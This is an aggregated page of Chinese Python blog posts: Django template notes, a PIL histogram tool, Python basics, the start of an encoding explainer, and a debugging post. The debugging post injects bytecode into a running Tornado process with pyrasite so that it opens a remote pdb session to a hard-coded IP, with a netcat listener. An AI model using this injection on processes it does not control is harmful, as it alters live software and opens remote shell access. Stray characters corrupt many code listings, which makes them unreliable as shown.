Skip to content Skip to main navigation Skip to footer

python

Python: Django笔记 —— 模板

最近在学习Django,打算玩玩网页后台方面的东西,因为一直很好奇但却没怎么接触过。Django对我来说是一个全新的内容,思路想来也是全新的,或许并不能写得很明白,所以大家就凑合着看吧~

本篇笔记(其实我的所有笔记都是),并不会过于详细的讲解。因此如果有大家看不明白的地方,欢迎在我正版博客下留言,有时间的时候我很愿意来这里与大家探讨问题。(当然,不能是简简单单就可以百度到的问题-.-)

我所选用的教材是《The Django Book 2.0》,本节是模板部分,对应书中第四章。

————————————————————————————————————————————————

0、代码示例

创建一个网站:django-admin.py startproject four

在网站根目录下创建一个文件夹:templates(网站根目录也就是那个有manage.py的目录,定位网站中任何文件,都默认此目录作为根目录)

在./templates/下,创建home.html,内容如下:

1  < html >
2  < head >
3  </ head >
4  < body >
5  Hello~I'm {{name}}^.^< br  />
6  </ body >
7  </ html >  

在./templates/下,创建home.txt,内容如下:

1  name    qiqi

在./four/下,修改urls.py,内容如下:

1  from  django.conf.urls import  url
 2  from  four.views import  home
 3
4  urlpatterns = [
 5      url(r' ^$ ' , home),
 6  ] 

在./four/下,创建views.py,内容如下:

 1  from  django.http import  HttpResponse
  2  from  django.template import  Template, Context
  3
 4  def  home(request):
  5      tin = open(' ./templates/home.html ' )
  6      html = tin.read()
  7      tin.close()
  8
 9      cin = open(' ./templates/home.txt ' )
 10      inf = {}
 11  for  line in  cin.readlines():
 12          a,b = line.split()
 13          inf[a] = b
 14      cin.close()
 15
16      t = Template(html)
 17      c = Context(inf)
 18  return  HttpResponse(t.render(c)) 

此时,我们运行服务器(python manage.py runserver),便可以访问到以下网页了:

网址 内容
http://127.0.0.1:8000/ Hello~I’m qiqi^.^

1、模板简介

这一章原文很长,我想,我先向大家大体介绍一下模板,后面再详述细节。

先说咱们熟悉的urls.py和views.py:

urls.py中删去了无用代码,只创建了一个home。

views.py中则利用模板实现了这个home。其中,除了Template、Context和render(即最后三行)属于模板内容之外,其余部分均为python中文件读取的语句。很显然,我把前面创建的home.html读到了html变量里,这是一个字符串;又把home.txt读到了inf变量里,这是一个字典。

好的,知道了这些,下面咱们开始介绍模板:

home.html就是一个模板,大家可以看到,这就是一段html代码,唯一不同的是,其中多了一个”{{name}}>”。这是模板里“变量”的写法,变量名是name。这样写出一段可以包含变量的html代码,就算是写出了一个最基础的模板。

而home.txt中的内容,显然就是把name赋值成qiqi。这个东西就是为模板填写的内容了。

最后我们在views.py中,用Template函数把html代码转换成 模板
,用Context函数把字典转换成 内容(书中有时翻译成“上下文”,但我更喜欢翻译成“内容”)
,而render函数则利用这个模板 渲染
了这段内容,生成一个网页。这就是传说中的模板了。

这里说明一个细节:render所产生的是Unicode字符串(大家可以自己在python交互界面下试试)!

看到这里,大家应该已经知道什么是模板,并且可以使用Django中的模板做一些有变量的网页了。但我更希望,大家能感到, 这过程非常简单,各位同学完全可以自己用任何语言来完成这个任务。因为暂时来看,模板无非就是段变量替换的代码而已,随便一个会编程的人都可以做的。

2、模板基础语法

模板当然不只有替换变量这一个东西,那么我们现在开始介绍模板的各种用法:

引用/语句 示例 解释 备注
变量 {{ name }} name是变量名,

如果这个变量不存在,模板中对应位置则会写成一个空字符串

(下面各种变量也都一样, 方法还没有实验!!!

字典变量

{{ person.name }}

{{ person.age }}

person是字典,

有name和age两个key

某个对象

{{ d.year }}

{{ d.month }}

{{ d.day }}

import datetime

d=datetime.date(2015, 5, 21)

自定义类

{{ person.name }}

{{ person.age }}

person是自己定义的类,

name和age是里面的成员变量

成员方法

{{ str.upper }}

{{ str.isdigit }}

str是string类型,

string类型有upper和isdigit函数

1. 只能调用不需传参数的方法。

2. 如果方法中出现了错误,按说应该报错。

但如果这个错误中有下面这个属性,则不会报错:

silent_variable_failure = True,

此时,模板中对应位置会被写成一个空字符串。

3. 模板系统不会执行任何以下列方式标记的函数,

即使调用了这个函数,也会默默退出,什么都不做:

设置函数属性alters_date = True。

列表索引

{{ items.0 }}

{{ items.1 }}

{{ items.2 }}

items=[‘go’,’phone’,’computer’]

不能使用负数列表索引:

例如{{ items.-1 }},会触发TemplateSyntexError。

if

语句

{% if value %} 

# aaa

{% else %}

# bbb

{% endif %}

value是变量名,

else是可选的

1. 变量为真,则会显示aaa处内容;否则,显示bbb处内容。

所谓真,即:变量存在、非空、非布尔值False。只有以下值为假:

[], (), {}, ”, 0, None, False, 自定义对象中定义布尔值属性为False。

2. 可以使用and,or,not进行逻辑运算,也可以用not对变量取反,

但一句if中不可以同时出现and和or,以免造成逻辑混乱。

注意,不可以使用括号来提示优先级,not优先级高于and和or。

3. 可嵌套(也可与for相互嵌套)

4. 不支持别的if语法(例如elif)

ifequal

语句

{% ifequal x y %}

# aaa

{% else %}

# bbb

{% endifequal %}

如果x与y两变量相等,

那么显示aaa的内容,

否则显示bbb的内容。

x与y只能是变量、字符串、整型常数和浮点型常数。

其它类型都不能用,例如:字典、列表、布尔。

因此,判断变量值的真假,应当使用if语句。

for

语句

{% for x in Y %} 

# …

{% empty %}

# …

{% endfor %}

Y是要循环(又称迭代)的序列

x是每次循环中使用的变量名称

empty是可选的,

是Y为空时所显示的代码

1. 可以使用reversed反向迭代列表

2. 在每个循环中都有一个模板变量,其中含有一些提示循环进度的属性

forloop.counter:当前循环次数,从1开始计数

forloop.counter0:当前循环次数,从0开始计数

forloop.revcounter:当前剩余循环次数,从N开始,最后为1

forloop.revcounter0:当前剩余循环次数,从N-1开始,最后为0

forloop.first:布尔值,仅第一次迭代时为True

forloop.last:布尔值,仅最后一次迭代时为True

forloop.parentloop:指向上一级循环的forloop对象的引用

如果我们自己定义了一个forloop变量,Django模板也不会报错,

但我并不想介绍其语法,只是希望大家记住变量别叫这个名字就好。

2. 可嵌套(也可与if相互嵌套)

3. 不支持别的for语法(例如break,continue)

过滤器

(filter)

{{ name|lower }}

{{ mylist|first|upper }}

{{ s|truncatewords:”30>” }}

利用Unix的管道符’|’表示过滤器

左面举了4个例子:

1. 把name小写输出

2. 把mylist中第一个字符大写输出

3. 把s前30个字符输出

这里仅仅介绍几种常用过滤器,全部的介绍参见本书的附录F。

0. 左面例子中那几种

1. addslashes,添加反斜杠到任何反斜杠、单引号、双引号前面。

这在处理包含JavaScript的文本时非常有用。

2. date,按指定的格式字符串参数格式化date或datetime对象。

例如:{{ now|date:”F j, Y>” }},含义详见附录。

3. length,返回变量的长度(针对有__len__()方法的对象)。

这里为新手说一句,列表、字符串就有__len__()方法,用来测长度。

单行注释 {# something #}  something是被注释的内容 
多行注释

{% comment %} 

# …

{% endcomment %}

2.1 ‘.’的优先级

大家可能已经注意到了,在Django的模板中,各种复杂变量都是使用一个点’.’来引用的。那么,这必然会有优先级问题:

查找顺序 类型 代码实例
1 字典 qiqi[“hello>”]
2 属性 qiqi.hello
3 方法 qiqi.hello()
4 列表索引 qiqi[0]

啰嗦一句,查找时采用的是“短路逻辑”,即找到一个匹配的就不继续往下找了。

2.2 ‘.’可以多级嵌套

2.3 报错信息

当遇到模板语法错误时,那么在调用Template函数时,会抛出TemplateSyntexError异常。所谓错误,有下列几种情况:

情况 备注
无效的标签(tags)
标签的参数无效
无效的过滤器(filter)
过滤器的参数无效
无效的模板语法
未封闭的块标签 显然是对需要封闭的块标签而言的

2.4 Context修改

Context是可以像字典一样添加、删除条目的 (但字典别的操作我就不知道Context有没有了!!!)

3、如何使用模板

开头的代码,的确已经比较简洁地用上了模板。但其中,读取文件的操作显然又是要不断重复书写的代码。因此,Django进一步做了优化。

3.1 模板加载(get_template函数)

打开settings.py,你会看到一个TEMPLATES,其中有一个DIRS列表,这便是Django查找模板的地址了。

因此,在此处加上你的模板路径,例如咱们的templates文件夹,即:’./templates/’。

然后,修改views.py如下(仔细看,代码不只函数内容变了,import处也改了两行):

 1  from  django.http import  HttpResponse
  2  from  django.template import  Context
  3  from  django.template.loader import  get_template
  4
 5  def  home(request):
  6      cin = open(' ./templates/home.txt ' )
  7      inf = {}
  8  for  line in  cin.readlines():
  9          a,b = line.split()
 10          inf[a] = b
 11      cin.close()
 12
13      t = get_template(' home.html ' )
 14      c = Context(inf)
 15  return  HttpResponse(t.render(c)) 

如此,你会发现网页已经正常运行,而你的代码简洁了不少;如果你的路径写错了,则会出现报错页面,告诉你发生了TemplateDoesNotExist错误。

get_template函数内的路径是可以有子目录的。

在此提醒一句,我的笔记只针对Linux用户,因为我用的就是Linux(在第一篇Django笔记中就已声明过了)。关于Windows用户路径是反斜杠的问题,请去查阅原书,其中有详细介绍。

3.2 模板加载并渲染(render_to_response函数)

我们代码还可以进一步简洁,如下:

 1  from  django.shortcuts import  render_to_response
  2
 3  def  home(request):
  4      cin = open(' ./templates/home.txt ' )
  5      inf = {}
  6  for  line in  cin.readlines():
  7          a,b = line.split()
  8          inf[a] = b
  9      cin.close()
 10
11  return  render_to_response(' home.html ' , inf) 

这个函数很简单,根据给定的字符串找到模板,再把给定的字典转换成内容,然后用模板渲染内容,最后生成Http response。

如果仅仅给出一个参数,字典没给,则默认是导入一个空字典。

render_to_response函数第一个参数的路径依旧可以有子目录,因为这个函数仅仅是对get_template函数的简单封装。

3.3 一个偷懒的小方法(locals函数)

前面用文件home.txt存变量,适合信息比较多的页面。那如果我们的页面中变量很少呢?

前面的做法适合多人协作,写网页的和写网站的分开。那如果我们是一个人做这两件事,而home.txt信息又很少,存个文件岂不是多此一举?

这时候,我们可以考虑使用python内建的函数locals(),这函数返回值中,包括了其所在函数从开头运行到现在所有的局部变量。

1  from  django.shortcuts import  render_to_response
 2
3  def  home(request):
 4      name = ' qiqi '
5  return  render_to_response(' home.html ' , locals()) 

代码的确很简单,但需要注意的是,locals()不只有name,还包含了request。代码简洁,实际却多传了变量。如何取舍呢?看你自己了。

4、模板包含(include模板标签)

代码 解释
{% include ‘sub.html’ %} 这是相对路径,路径起点就是上面搜索模板的路径
{% include “sub.html>” %} 除了单引号,双引号字符串也是支持的
{% include ‘includes/sub.html’ %} 可以有子目录
{% include template_name %} 也可以使用字符串变量

如果你的路径错误,那么Django会查看你settings.py中的DEBUG参数:

若参数为Ture,那么你会在Django的报错页面中看到TemplateDoesNotExist错误;

若参数为False,那么该标签不会引发错误,其位置上不显示任何东西。

这里提醒一点,假如你的home.html模板,包含了一个sub.html模板。然后你用home.html模板渲染了一段内容,这内容应当同时包含两个模板所需的变量,这样sub.html方能有你所想要的内容。

5、啰嗦两句(没兴趣的直接跳过)

有些同学很喜欢猜谜,喜欢猜出作者所想的共鸣感。那么我现在给出一句话,随着下面的学习,相信在我最终解释之前,你会提前明白这句话的: 模板继承与模板包含,思路是相反的。

但就我个人来说,非常反感猜谜。例如,很多书中都会先给出概念,然后隔很久才给出其实例(教材中屡见不鲜)。对这种做法,我简直是深恶痛绝。这会把我本来觉得很有意思的东西变得艰涩难懂,让我失去阅读的兴趣。因此,我向来都喜欢把文章尽我所能写得深入浅出,至少能让自己隔一段时间依旧很容易看懂。

又忍不住啰嗦了几句,没兴趣的读者请见谅,忽略这些就好……咱们回到正题,来说模板的继承。

6、模板继承代码

这段最好还是直接看代码比较好理解,下面让我们来重新建一个网站,名字叫FOUR。

首先按照咱们前面学的,把settings.py里面TEMPLATES参数的DIRS部分,加上一个路径:’./template/’。

然后,在网站根目录建一个文件夹template,里面写出三个模板,内容如下:

base.html

 1  <! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN>" >
 2  < html  lang ="en>" >
 3  < head >
 4  < title > {% block title %}{% endblock %}</ title >
 5  </ head >
 6  < body >
 7  < h1 > My helpful timestamp site</ h1 >
 8      {% block content %}{% endblock %}
  9      {% block footer %}
 10  < hr >
11  < p > Thanks for visiting my site.</ p >
12      {% endblock %}
 13  </ body >
14  </ html >  

current_datetime.html

1  {% extends "base.html>" %}
 2
3  {% block title %}The current time{% endblock %}
 4
5  {% block content %}
 6  < p > It is now {{ current_date }}.</ p >
7  {% endblock %} 

hours_ahead.html

1  {% extends "base.html>" %}
 2
3  {% block title %}Future time{% endblock %}
 4
5  {% block content %}
 6  < p > In {{ hour_offset }} hour(s), it will be {{ next_time }}.</ p >
7  {% endblock %} 

最后,在’./FOUR/’下,修改urls.py并且创建views.py,内容如下:

urls.py

1  from  django.conf.urls import  url
 2  from  FOUR.views import  *
3
4  urlpatterns = [
 5      url(r' ^time/$ ' , current_datetime),
 6      url(r' ^time/(\d{1,2})/$ ' , hours_ahead)
 7  ] 

views.py

 1  from  django.http import  Http404
  2  from  django.shortcuts import  render_to_response
  3  import  datetime
  4
 5  def  current_datetime(request):
  6      now = datetime.datetime.now()
  7  return  render_to_response(' current_datetime.html ' , { ' current_date ' : now })
  8
 9  def  hours_ahead(request, offset):
 10  try :
 11          offset = int(offset)
 12  except  ValueError:
 13  raise  Http404()
 14      dt = datetime.datetime.now() + datetime.timedelta(hours=offset)
 15  return  render_to_response(' hours_ahead.html ' , { ' hour_offset ' : offset, ' next_time ' : dt }) 

至此,网站建立完成。运行后,便可进入以下网页:

网址 内容
http://127.0.0.1/time/ 显示当前时间(UTC时间)
http://127.0.0.1/time/num/ 显示当前时间+num小时(num=8则得到中国标准时间)

7、模板继承讲解

其实,模板继承部分,大家仔细看上面代码,就应该能够看个八九不离十。就是A模板继承了B模板,把B模板中供替换的块选几个替换了,形成一个新的模板。

下面,讲解其各种小细节,请结合代码学习。

标签代码 解释 备注

{% block name %}

#…

{% endblock %}

供继承的部分

注意,name不能重名

如果继承后重写了,则显示重写内容;

如果没有重写,则显示此处本来内容。

{% extends name %}

继承name模板

name可以是常量,也可以是变量

此标签必须是模板的第一个标记!否则,视为没进行模板继承。

此标签的路径也是上文中模板的路径,即TEMPLATES中的DIRS

{{ block.super name }}

这是个变量,是父模板中的name标签的内容

往往用于并不打算完全重写,而是添加几句话的情况

在此说明一点,继承是可以多层嵌套的,即A模板继承B模板,B模板又继承了C模板

8、模板包含与继承的比较

模板包含,是在基础模板中写了大家都有的内容,然后后面都包含它;而模板继承,则是在基础模板中写了大家都有的部分,又标出了大家不同的部分,而后进行填充。

因此,我认为继承更强大和顺手,而包含则更适用于比较简单的网页结构,因为太简单就没必要搞继承了。

9、小吐槽

书中认为,模板继承可以理解为模板包含的逆向思维。因为包含是对相同的代码段进行定义,而继承则是对那些不同的代码段进行定义。

但个人认为,此处理解并不恰当,继承是比包含更加强大的,而非单纯的相反思路。

当然,我这样是断章取义,书中自有其思路。另外,我看的是中文译本,也说不定和英文原版的意思有偏差呢~

故而此处仅仅小小吐槽一下,目的只为理清读者思路。

————————————————————————————————————————————————

至此,“模板”一章笔记完成,下一章是与数据库打交道——“模型”。

原文:http://www.cnblogs.com/icedream61/p/4518958.html

Python: 纯Python 综合图像处理小工具 (1)分通道直方图

平时工作经常需要做些图像分析,需要给图像分通道,计算各个通道的直方图分布特点,这个事儿 photoshop 也能做,但是用起来不方便,且需要电脑上安装有 PS 软件,如果用 OpenCV 更是需要在 visual studio 上做很多配置工作。本文充分利用 python 的便携性和轻量级特点,力图实现一个脚本,到处运行的目标。

<使用方法>

1. 将待处理图片命名为 1.jpg 和本文 python 脚本文件放入同一文件夹;

2. 运行 python 脚本,可以获得分通道图片及相应的直方图。

<效果介绍>

原图:

分通道显示:

各通道直方图

R通道直方图

G通道直方图

B通道直方图

<源码分析>

本文脚本没有使用OpenCV,全部操作均使用了python自带库函数,实现真正的轻量级。

本文工具默认对jpg格式的图片进行修改,其他格式直接修改脚本中 im1 = Image.open( 1.jpg >” ) 图片后缀即可。  

分通道是直接使用的 r,g,b=im1_sp.split() 的, 因只对RGB mode的图像有效,所以 im1_sp = im1.convert( RGB >” ) 先进行了模式转换。 

直方图绘制是通过 pix = r.load() 函数把图像的像素数据进行存储,然后在256级区间进行累加统计,最后使用draw.line函数绘制的。 

工具简单易用,全部代码提供如下,如有问题,欢迎园友反馈!

<全部源码>

1 #  -*- coding: cp936 -*-
  2 import Image,ImageDraw

3 import ImageFilter,random,sys

4 im1 = Image.open( 1.jpg >” )

5

6 # #图像处理##
  7

8 # 转换为RGB图像
  9 im1_sp = im1.convert( RGB >” )              

10

11 # 将RGB三个通道分开
 12  r,g,b=im1_sp.split()             

13

14 # 将RGB分通道图像上色
 15 imd = Image.new( L >” ,im1.size,0)

16 r_color= Image.merge( RGB >” ,(r,imd,imd))

17 g_color= Image.merge( RGB >” ,(imd,g,imd))

18 b_color= Image.merge( RGB >” ,(imd,imd,b))

19

20 # R通道histogram
 21 width, height = r.size

22 pix = r.load()

23 a = [0]*256

24 for w  in xrange(width):

25 for h  in xrange(height):

26 p = pix[w,h]

27 a[p] = a[p] + 1

28 s = max(a)

29 print a,len(a),s      # 长度256,a保存的分别是颜色范围0-255出现的次数
 30  r_hist = Image.new( RGB ‘ ,(512,512),(255,255,255))  

31 draw = ImageDraw.Draw(r_hist)  

32

33 for k  in range(256):

34 # print k,a[k],a[k]*200/s
 35 a[k] = a[k]*400/s         # 映射范围0-200
 36 source = (2*k,511)            # 起点坐标y=255, x=[0,1,2….]
 37 target = (2*k,511-a[k])     # 终点坐标y=255-a[x],a[x]的最大数值是200,x=[0,1,2….]
 38 draw.line([source, target], (255,0,0))

39

40 # G通道histogram
 41  width, height = g.size

42 pix = g.load()

43 a = [0]*256

44 for w  in xrange(width):

45 for h  in xrange(height):

46 p = pix[w,h]

47 a[p] = a[p] + 1

48 s = max(a)

49 print a,len(a),s      # 长度256,a保存的分别是颜色范围0-255出现的次数
 50 g_hist = Image.new( RGB ‘ ,(512,512),(255,255,255))  

51 draw = ImageDraw.Draw(g_hist)  

52

53 for k  in range(256):

54 # print k,a[k],a[k]*200/s
 55 a[k] = a[k]*400/s         # 映射范围0-200
 56 source = (2*k,511)            # 起点坐标y=255, x=[0,1,2….]
 57 target = (2*k,511-a[k])     # 终点坐标y=255-a[x],a[x]的最大数值是200,x=[0,1,2….]
 58 draw.line([source, target], (0,255,0))

59

60 # B通道histogram
 61 width, height = b.size

62 pix = b.load()

63 a = [0]*256

64 for w  in xrange(width):

65 for h  in xrange(height):

66 p = pix[w,h]

67  a[p] = a[p] + 1

68 s = max(a)

69 print a,len(a),s      # 长度256,a保存的分别是颜色范围0-255出现的次数
 70 b_hist = Image.new( RGB ‘ ,(512,512),(255,255,255))  

71 draw = ImageDraw.Draw(b_hist)  

72

73 for k  in range(256):

74 # print k,a[k],a[k]*200/s
 75 a[k] = a[k]*400/s         # 映射范围0-200
 76 source = (2*k,511)            # 起点坐标y=255, x=[0,1,2….]
 77 target = (2*k,511-a[k])     # 终点坐标y=255-a[x],a[x]的最大数值是200,x=[0,1,2….]
 78 draw.line([source, target], (0,0,255))

79

80 im1_mer= Image.merge( RGB >” ,(r,g,b))

81

82 # #图像保存##
 83

84 # 单通道图保存
 85 r.save( 1r.jpg >” )

86 g.save( 1g.jpg >” )

87 b.save( 1b.jpg >” )

88

89 # 上色图保存
 90 r_color.save( 1rr.jpg >” )

91 g_color.save( 1gg.jpg >” )

92 b_color.save( 1bb.jpg >” )

93

94 # 直方图保存
 95 r_hist.save( 1r_hist.jpg >” )

96 g_hist.save( 1g_hist.jpg >” )

97 b_hist.save( 1b_hist.jpg >” )

98

99 # #图像显示##
100

101 # 单通道图显示
102 r.show()

103 g.show()

104 b.show()

105

106 # 上色图显示
107 r_color.show()

108 g_color.show()

109 b_color.show()

110

111 # 直方图显示
112 r_hist.show()

113 g_hist.show()

114

b_hist.show() 

原文:http://www.cnblogs.com/sopic/p/4520132.html

Python: 将任意Bytecode注入运行中的Python进程

在调试 Python 程序的时候,一般我们只能通过以下几种方式进行调试:

  1. 程序中已经有的日志
  2. 在代码中插入 import pdb; pdb.set_trace()

但是以上的方法也有不方便的地方, 比如对于已经在运行中的程序, 就不可能停止程序后加入 调试代码和增加新的日志.

从 JAVA 的
BTrace( https://kenai.com/projects/btrace
) 项目得到灵感,尝试对正在运行的 Python进程插入代码,在程序运行到指定的函数后,自动连接远程主机进行调试

首先介绍三个开源的项目, 本实验需要用到这三个项目

  1. Pyasitehttps://github.com/lmacken/pyrasite
    Tools for injecting code into running Python processes
  2. Byteplayhttps://github.com/serprex/byteplay
    一个字节码维护项目,类似 java的asm/cglib
  3. Rpdb-Shellhttps://github.com/alex8224/Rpdb-Shell

待注入的代码, 用官方的 tornado hello demo做例子

import tornado.ioloop
import tornado.web
import os
class MainHandler(tornado.web.RequestHandler):
	def get(self):
		self.write("Hello, world>")
application = tornado.web.Application([
	(r"/>", MainHandler),
])
if __name__ == "__main__>":
	application.listen(8888)
	print(os.getpid())
	tornado.ioloop.IOLoop.instance().start()
 

注入以下代码( testinject.py)到 get中

import sys
import dis
import inspect
from byteplay import *
def wearedcode(fcode):
	c = Code.from_code(fcode)
	if c.code[1] == (LOAD_CONST, 'injected'):
		return fcode
	c.code[1:1] = [
					(LOAD_CONST, injected'), (STORE_FAST, 'name'),
					(LOAD_FAST, 'name'),
					(PRINT_ITEM, None), (PRINT_NEWLINE, None),
					(LOAD_CONST, -1), (LOAD_CONST, None),
					(IMPORT_NAME, 'rpdb'), (STORE_FAST, 'rpdb'),
					(LOAD_FAST, 'rpdb'), (LOAD_ATTR, 'trace_to_remote'),
					(LOAD_CONST, '10.86.11.116'), (CALL_FUNCTION, 1),
					 (POP_TOP, None)
				  ]
	return c.to_code()
def trace(frame, event, arg):
	if event != 'call':
		return
	co = frame.f_code
	func_name = co.co_name
	if func_name == "write>":
		return
	if func_name == "get>":
		import tornado.web
		args = inspect.getargvalues(frame)
		if 'self' in args.locals:
			if isinstance(args.locals['self'], tornado.web.RequestHandler):
				getmethod = args.locals['self'].get
				code = getmethod.__func__.__code__
				getmethod.__func__.__code__ = wearedcode(code)
		return
sys.settrace(trace)
 

环境

  1. ubuntu 14.04 64bit LTS
  2. Python 2.7.6

步骤

  1. 在机器上安装上面需要用到的三个项目
  2. python server.py
  3. 192.168.1.1执行 nc -l 4444
  4. pyrasite $(ps aux |grep server.py |grep -v grep|awk ‘{print $2}’) testinject.py
  5. 执行 curl http://localhost:8000
    两次, 在第二次请求时替换的 bytecode才会生效

结果

在执行上面的步骤后, 在执行第二次 curl http://127.0.0.1:8000
后, 应该能够看到控制台输入 injected 的字样,并且 nc -l 4444 监听的终端会出现 (pdb)>的字样, 这样就能够对正在运行中的程序进行调试了.

原理

**Pyasite**可以注入代码到运行中的 Python 进程,它利用了 Python 的 PyRun_SimpleString这个API插入代码, 至于进程注入应该是使用了 ptrace

Byteplay是一个可以维护 Python bytecode的工具, 这部分跟 cglib/asm类似

**Pyasite**只能把代码注入到进程中并运行,不能定位到具体的函数并注入 bytecode, 在 testinject.py中结合 Byteplay 完成了函数定位和替换 get 函数字节码的功能.

函数的定位用到了 sys.settrace 这个API,他提供了以下事件,在合适的时机调用用户提供的函数, 具体可以参考 https://docs.python.org/2/library/sys.html#sys.settrace
的解释

理论上可以插入任意字节码到程序中的任意位置, 实现对现有进程中代码的任意修改.

原文:http://segmentfault.com/a/1190000002783940

Python: Python笔记(二)

在昨天学习Python之后,感觉它的的确确挺简洁,也挺容易学习。在昨天的学习中我们了解到了Python中while循环语句以及if…else语句的使用,while语句的使用格式是这样的: while express :,切记不要忘记冒号。 if语句和while语句的使用类似。今天我们首先接着昨天的学习,了解Python中的for循环,break语句以及continue语句,之后再简单接触一下函数的使用。废话不多说,我觉得对编程语句的学习最好是对照代码来学习,所以我们先来看下面一段代码:

1  for  i in  range(1,10,2):        # for循环的使用格式
2  print  (i)
 3  if  i == 7 :
 4  break
5  else :
 6  print  (" The for loop is over! >" ) # 这句话在for循环结束时打印,除非遇到break  

在上面代码的第一行中,我们使用中看到了for循环的使用。 格式为:for .. in..: 先解释一下代码第一行的作用:我们声明了一个变量i,他的取值由rang()函数决定,上面表示i从1开始到10结束,其步长为2,但是不包括10。这就有点类似我们在JAVA中这样使用for循环:  1 for ( int i = 1;i < 10;i+=2) 。然后进入循环体,打印出每个i值,但是当i=7的时候,就跳出循环。这里有一点需要注意的是,如果你从for或者while循环中终止,那么任何对应的循环else块将不会被执行,也就是说,当跳出循环后,第六行将不会被执行。结果如下:

如果我们将第3,4行使用#注释掉,那么结果如下:

除了要记住上面所说的遇到break语句所产生的不同结果之外,还应该记住,else部分是可选的,如果包含else语句,那么它总是在循环结束执行一次。下面再来看看continue语句,Python中的continue语句和其他语言中(比如JAVA,C….)的continue语句作用是一样的,所以很好理解。它的作用就是跳过当前循环块中剩余的语句,然后继续执行下一轮循环。请看下面代码:

1  while  True :
 2      s = input(''' Enter something :  ''' )
 3  if  s == ' q ' :
 4  break
5  if  len(s) < 3:
 6  print (" string length too short.try again. >" )
 7  continue
8  print  (" The string length is : >" ,len(s))    # len()用来求出s的长度
9  print  (" Done! >" ) 

在上面代码中,提示用户键入一些东西,如果键入字符’q’,那么将会跳出循环,如果不是,那么将判断用户键入的字符串长度,如果长度小于3,用户会得到提示,并结束本次循环,不会打印出字符串的长度,如果长度大于3,那么用户会得到字符串的长度。运行结果如下:

到此我们已经了解了Python中三种控制流:if,while,for,以及与它们相关的break和continue语句。它们不仅在其他语言中需要熟练掌握,而且在Python中需要熟练掌握的。不需要死记硬背,和你之前熟悉的任何一门语言关联记忆,记住不同之处就很好掌握了。

下面我们来开始了解Python中的函数。 在Python中定义一个函数使用关键字def,后面跟一个函数名,然后一对圆括号,括号中可以有参数,然后以冒号结束。 先上一段比较复杂的代码,它的作用是将用户输入的十进制数转为对应的二进制表示。如果不明白这个算法的,可以参看我之前的一篇博客《十进制转二进制》。下面是Python代码:

 1  # 定义函数
 2  def  tobinary(number):
  3      n = number % 2
 4  if  number >= 2:
  5          tobinary(number >> 1)
  6      out = chr(ord(' 0 ' )+n)
  7  # chr()将ascii码转为对应的字符
 8  # ord()将字符转为对应的ascii码
 9  print  (" %c >" %(out),end='' )    # end控制打印间隔
10
11  while  True:
 12      s = input(''' Enter a number:('q' to quit) ''' )
 13  if  s == ' q ' :
 14  break
15  elif  s.isdigit():
 16          tobinary(int(s))
 17  else :
 18  print  (" your  input is not correct! >" )
 19  print (end = ' \n ' )
 20
21  print  (' Game over ! ' ) 

在上面代码第二行中我们使用关键字def定义了一个函数tobinary,它接收一个参数。函数的作用就是将这个参数二进制数打印输出。关于chr()和ord()函数,以及print()中的end,请参看注释。接下来进入while循环,我们判断用户输入的是否为’q’,如果是,则退出程序。如果不是,我们再判断用户输入的字符串是否为数字(使用string中的isdigit()函数),如果是数字,那么进入我们定义的函数,将其二进制表示打印。如果用户输入不是数字,则提示用户输入不合法。运行结果如下:

上面的代码演示了如何定义并使用函数。还是比较简单。下面说说函数参数。在Python中,我们不仅使参数拥有默认值,也可以指定关键参数。所谓默认参数值,就是我们在调用该函数的时候,可以不对其赋值,而让它使用我们设置的默认值。请看下面代码:

1  def  say(message,times = 1):
 2  print (message * times)
 3
4  say(' hello, ' )
 5  say(' hello, ' ,5) 

上面的函数中,我们将times的默认值设置为1,在第四行调用函数的时候,我们没有传入times的值,所以Python会使用我们设置的默认值1,而在第五行,我们设置了times=5,执行结果如下:

然而对于关键参数,指的是:假如我们定义的函数有多个参数,而我们只想指定其中一部分,那么我们可以通过命名来为这些参数赋值。这样做的好处是:我们不必担心参数的顺序,以及假设其他参数都用默认值,我们可以只给我们想要的参数赋值。请看下面一段代码:

1  def  func(a,b=5,c=10):
 2  print  (' a is  ' ,a,'  and b is  ' ,b,'  and c is  ' ,c)
 3
4  func(3,7)
 5  func(25,c=24)
 6  func(c=20,a=100) 

上面的函数中,我们将b,c设置了默认值,a没有设置。在代码第4行,我们传入了两个参数,参数a将得到3,b将得到7,参数c使用默认值10;在代码第5行中,根据实参的位置,变量a得到25,b使用默认值5,c得到24;第6行代码中,我们使用关键参数来完全指定参数值,注意:尽管在函数定义中,a在c之前定义,我们仍然可以在a之前指定参数c的值。这就是关键参数指定。其运行结果如下:

最后再说一说文档字符串docstrings。它可以使帮助我们的程序文档更加简单易懂,所以应该尽量使用它。请看下面代码:

 1  def  printMax(x,y):
  2  ''' Prints the maximum of two numbers.
  3
 4      The two values must be integers. '''
 5      x = int(x)
  6      y = int(y)
  7
 8  if  x > y :
  9  print  (x,' is maximum ' )
 10  else :
 11  print  (y,' is maximum ' )
 12
13  printMax(10,20)
 14  print  (printMax.__doc__ ) 

在上面函数的第一个逻辑行的字符串就是这个函数的文档字符串。我们运行结果,可以得到以下结果:

以上就是我今天所学的。欢迎各位博友多多指点。

原文:http://www.cnblogs.com/zhouxuanyu/p/4520811.html

Python: Python字符编码详解

本文简单介绍了各种常用的字符编码的特点,并介绍了在python2.x中如何与编码问题作战 :)      请注意本文关于Python的内容仅适用于2.x,3.x中str和unicode有翻天覆地的变化,请查阅其他相关文档。       尊重作者的劳动,转载请注明作者及原文地址 >.<

1. 字符编码简介

1.1. ASCII

ASCII(American Standard Code for Information Interchange),是一种单字节的编码。计算机世界里一开始只有英文,而单字节可以表示256个不同的字符,可以表示所有的英文字符和许多的控制符号。不过ASCII只用到了其中的一半(\x80以下),这也是MBCS得以实现的基础。

1.2. MBCS

然而计算机世界里很快就有了其他语言,单字节的ASCII已无法满足需求。后来每个语言就制定了一套自己的编码,由于单字节能表示的字符太少,而且同时也需要与ASCII编码保持兼容,所以这些编码纷纷使用了多字节来表示字符,如
GBxxx、 BIGxxx等等,他们的规则是,如果第一个字节是\x80以下,则仍然表示ASCII字符;而如果是\x80以上,则跟下一个字节一起(共两个字节)表示一个字符,然后跳过下一个字节,继续往下判断。

这里,IBM发明了一个叫Code Page的概念,将这些编码都收入囊中并分配页码,GBK是第936页,也就是 CP936。所以,也可以使用CP936表示GBK。

MBCS(Multi-Byte Character Set)是这些编码的统称。目前为止大家都是用了双字节,所以有时候也叫做
